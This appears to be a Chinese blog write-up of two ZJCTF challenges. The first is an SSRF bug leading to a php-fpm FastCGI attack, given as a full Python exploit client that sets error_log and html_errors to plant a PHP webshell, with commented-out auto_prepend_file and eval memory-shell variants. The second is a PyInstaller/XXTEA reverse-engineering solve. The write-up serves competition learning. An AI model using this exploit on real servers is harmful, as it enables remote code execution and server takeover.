zjctf_baby_ssssrf和ezpy

前言:今天刚打完zjctf的预赛,其中有一题web比较有意思,然后记录另外一道逆向题

参考文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

baby_ssssrf

index.php

<?php
highlight_file(__FILE__);
if(isset($_GET['data'])&&isset($_GET['host'])&&isset($_GET['port'])){
$data = base64_decode($_GET['data']);
$host = $_GET['host'];
$port = $_GET['port'];
if(preg_match('/usr|auto|extension|dir/i', $data))
{
die('error');
}
$fp = fsockopen($host,intval($port),$errno, $errstr, 30);
if (!$fp)
{
die();
} else{
fwrite($fp, $data);
while (!feof($fp))
{
echo fgets($fp, 128);
}
fclose($fp); }
}?>
<!-- flag.php -->

flag.php

<?php
$allow = array('127.0.0.1','localhost');
if(in_array($_SERVER['HTTP_HOST'],$allow)){
highlight_file(__FILE__);
$contents = isset($_POST['data'])?$_POST['data']:'';
if(!preg_match('/lastsward/i', $contents)){
file_put_contents('hint.txt', $contents);
}
if(file_get_contents('hint.txt')==='lastsward'){
phpinfo();
}
die();
}else{
echo '请内网访问';
}

伪造HTTP数据来访问127.0.0.1:80来进行绕过,或者直接抓包伪造HTTP的HOST头字段即可实现绕过,这两种方法都可以

data = b'''GET /flag.php HTTP/1.1
Host: 127.0.0.1:80
Connection: close
'''
print(base64.b64encode(data).decode())

这里的话可以通过数组形式来进行绕过即可 data[]=lastsward

if(!preg_match('/lastsward/i', $contents)){
file_put_contents('hint.txt', $contents);
}
if(file_get_contents('hint.txt')==='lastsward'){
phpinfo();
}

接着你会发现利用php-fpm来攻击9000的话,默认的exp中的攻击路径是auto_prepend_fileextension,而代码中的过滤已经包含了该关键字preg_match('/usr|auto|extension|dir/i', $data) ,所以常用的两条攻击路径一个是加载前默认包含php://input和加载外部so链接库的方式都无法利用(省赛而且还不让上网)

所以这里的话就需要自己去找路径,但是自己找了半天还是没找到,这个点在之前就没有仔细研究过,今天看了别人的payload发现一条新的路径通过错误日志写入的方式来进行利用

代码中是通过error_log触发报错并且把报错信息写入某一个文件,这里还需要注意的是报错信息被实体编码,所以还需要修改一个配置项html_errors设置为off,这样写入的字符就不会被html编码了,最终利用代码如下所示,web路径可以在phpinfo中进行查看

在phi师傅上面的脚本上进行的修改,参考地址: https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

import socket
import random
import argparse
import sys
import base64
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
# if not self.__connect():
# print('connect failure! please check your fasctcgi-server !!')
# return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
print(base64.b64encode(request).decode())
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
uri = args.file
content = args.code
# error_log + html_errors getshell方式
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/home/www/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': 'data=whoami&host=%3C%3fphp+system($_REQUEST[%22command%22])%3b%3f%3E&port=9000',
'REQUEST_URI': '/index.php?data=whoami&host=%3C%3fphp+system($_REQUEST[%22command%22])%3b%3f%3E&port=9000',
'SERVER_SOFTWARE': 'nginx/1.21.6',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '8850',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'PHP_VALUE': 'html_errors = Off\nerror_log = /home/www/4444.php',
'PHP_ADMIN_VALUE': 'html_errors = Off\nerror_log = /home/www/4444.php',
}
# 默认的auto_prepend_file getshell方式
# params = {
# 'GATEWAY_INTERFACE': 'FastCGI/1.0',
# 'REQUEST_METHOD': 'POST',
# 'SCRIPT_FILENAME': '/home/www/index.php',
# 'SCRIPT_NAME': '/index.php',
# 'QUERY_STRING': '',
# 'REQUEST_URI': '/index.php',
# 'SERVER_SOFTWARE': 'php/fcgiclient',
# 'REMOTE_ADDR': '127.0.0.1',
# 'REMOTE_PORT': '8850',
# 'SERVER_ADDR': '127.0.0.1',
# 'SERVER_PORT': '80',
# 'SERVER_NAME': "localhost",
# 'SERVER_PROTOCOL': 'HTTP/1.1',
# 'CONTENT_TYPE': 'application/text',
# 'CONTENT_LENGTH': "%d" % len(content),
# 'PHP_VALUE': 'auto_prepend_file = php://input',
# 'PHP_ADMIN_VALUE': 'allow_url_include = On'
# }
# 内存马
# params = {
# 'GATEWAY_INTERFACE': 'FastCGI/1.0',
# 'REQUEST_METHOD': 'POST',
# 'SCRIPT_FILENAME': '/home/www/index.php',
# 'SCRIPT_NAME': '/index.php',
# 'QUERY_STRING': '',
# 'REQUEST_URI': '/index.php',
# 'SERVER_SOFTWARE': 'php/fcgiclient',
# 'REMOTE_ADDR': '127.0.0.1',
# 'REMOTE_PORT': '8850',
# 'SERVER_ADDR': '127.0.0.1',
# 'SERVER_PORT': '80',
# 'SERVER_NAME': "localhost",
# 'SERVER_PROTOCOL': 'HTTP/1.1',
# 'CONTENT_TYPE': 'application/text',
# 'CONTENT_LENGTH': "%d" % len(content),
# 'PHP_ADMIN_VALUE': 'allow_url_include = On\nauto_prepend_file = "data://text/plain;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4="'
# }
response = client.request(params, content)
print(force_text(response))

生成内容如下,进行发送请求,环境是本地搭建测试的

可以看到此时的error_log和html_errors的配置项已经被修改了

此时进行错误的访问即可将相关的内容写入到4444.php中,从而进行getshell操作

http://xxxxx/index.php?host=%3C?php%20phpinfo();?%3E&port=123123&data=

ezpy

用pyinstxtractor解包,命令如下所示

python3 pyinstxtractor.py re.exe

将struct头16字节(python3)插入re头部修复pyc,这个exe修复的情况下是16个字节,主要注意的就是E3字节之前就可以了

这里一开始通过uncompyle6 re.pyc来进行反编译pyc,但是发现会报错,如下图所示

通过pycdc来进行还原操作,如下代码

root@zpchcbd-virtual-machine:~/pycdc# ./pycdc re.pyc
# Source Generated with Decompyle++
# File: re.pyc (Python 3.8)
Warning: Stack history is not empty!
Warning: block stack is not empty!
from ctypes import *
import binascii
def encrypt(n, v, key):
de = 1311062073
ro = 6 + 52 // n
total = c_uint32(0)
z = c_uint32(v[n - 1])
e = c_uint32(0)
if ro > 0:
total.value += de
e.value = total.value >> 2 & 3
for p in range(n - 1):
y = c_uint32(v[p + 1])
v[p] = c_uint32(v[p] + XX(z, y, total, key, p, e).value).value
z.value = v[p]
y = c_uint32(v[0])
v[n - 1] = c_uint32(v[n - 1] + XX(z, y, total, key, n - 1, e).value).value
z.value = v[n - 1]
ro -= 1
continue
return v
def XX(z, y, total, key, p, e):
xx = c_uint32((z.value >> 6 ^ y.value << 3) + (y.value >> 3 ^ z.value << 4) ^ (total.value ^ y.value) + key[p & 3 ^ e.value])
return xx
if __name__ == '__main__':
k = [4,3,2,1]
n = 2
xx = input('plz input your flag(DASCTF{*}):')
vvalue = [
722695011,
893015348,
0xFB586025L,
752171035,
1118151735,
0x916AAD6EL,
0xC3F6A656L,
0xA3E014EFL]
for i in range(1):
if len(xx) != 40:
print('error')
else:
xx = xx[7:39]
comppare = []
for i in range(0, 32, 8):
value = []
xxx = xx[i:i + 8]
xxx1 = xxx[0:4].encode()
xxx2 = xxx[4:].encode()
hexvalue1 = binascii.b2a_hex(xxx1).decode()
hexvalue2 = binascii.b2a_hex(xxx2).decode()
value.append(int(hexvalue1, 16))
value.append(int(hexvalue2, 16))
res = encrypt(n, value, k)
comppare.append(res[0])
comppare.append(res[1])
if comppare == vvalue:
print('correct')
continue
print('error')
return None

但是这里运行发现会报错,这里一步步来进行修复处理

将L标识符去掉即可

发现continue运行报错,如下图所示

这里可以看到执行的是if语句,那么在该语句中continue自然会报错,如果知道的话明显可以看出这个算法为XXTEA算法,那么这里的ro则为while,那么这里直接修改为while执行即可

把return None去除掉

xxtea python的算法参考:https://blog.csdn.net/A951860555/article/details/120120400

def decrypt(n, v, key):
de = 0x9e3779b9
ro = 6 + 52 // n
total = c_uint32(ro*de)
y = c_uint32(v[0])
e = c_uint32(0)
while ro > 0:
e.value = (total.value >> 2) & 3
for p in range(n-1, 0, -1):
z = c_uint32(v[p-1])
v[p] = c_uint32((v[p] - XX(z,y,total,key,p,e).value)).value
y.value = v[p]
z = c_uint32(v[n-1])
v[0] = c_uint32(v[0] - XX(z,y,total,key,0,e).value).value
y.value = v[0]
total.value -= de
ro -= 1
return v

然后观察如何进行解密,可以看到在加密的过程中是4个字节4个字节进行加密的,所以这里同样解密的时候也用两组4字节的数据进行解密操作

# Source Generated with Decompyle++
# File: re.pyc (Python 3.8)
from ctypes import *
import binascii
import struct
def decrypt(n, v, key):
de = 1311062073
ro = 6 + 52 // n
total = c_uint32(ro*de)
y = c_uint32(v[0])
e = c_uint32(0)
while ro > 0:
e.value = (total.value >> 2) & 3
for p in range(n-1, 0, -1):
z = c_uint32(v[p-1])
v[p] = c_uint32((v[p] - XX(z,y,total,key,p,e).value)).value
y.value = v[p]
z = c_uint32(v[n-1])
v[0] = c_uint32(v[0] - XX(z,y,total,key,0,e).value).value
y.value = v[0]
total.value -= de
ro -= 1
return v
def XX(z, y, total, key, p, e):
xx = c_uint32((z.value >> 6 ^ y.value << 3) + (y.value >> 3 ^ z.value << 4) ^ (total.value ^ y.value) + key[p & 3 ^ e.value])
return xx
if __name__ == '__main__':
k = [4, 3, 2, 1]
n = 2
vvalue = [722695011, 893015348, 4216872997, 752171035, 1118151735, 2439687534, 3287721558, 2749371631]
decrypt_value = []
flag = b''
for _ in range(4):
a, b = vvalue[_*2], vvalue[_*2+1]
res = decrypt(n, [a,b], k)
decrypt_value.append(res[0])
decrypt_value.append(res[1])
print(decrypt_value)
for i in range(8):
flag += struct.pack(">I", decrypt_value[i])
print(flag)

posted @   zpchcbd  阅读(183)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示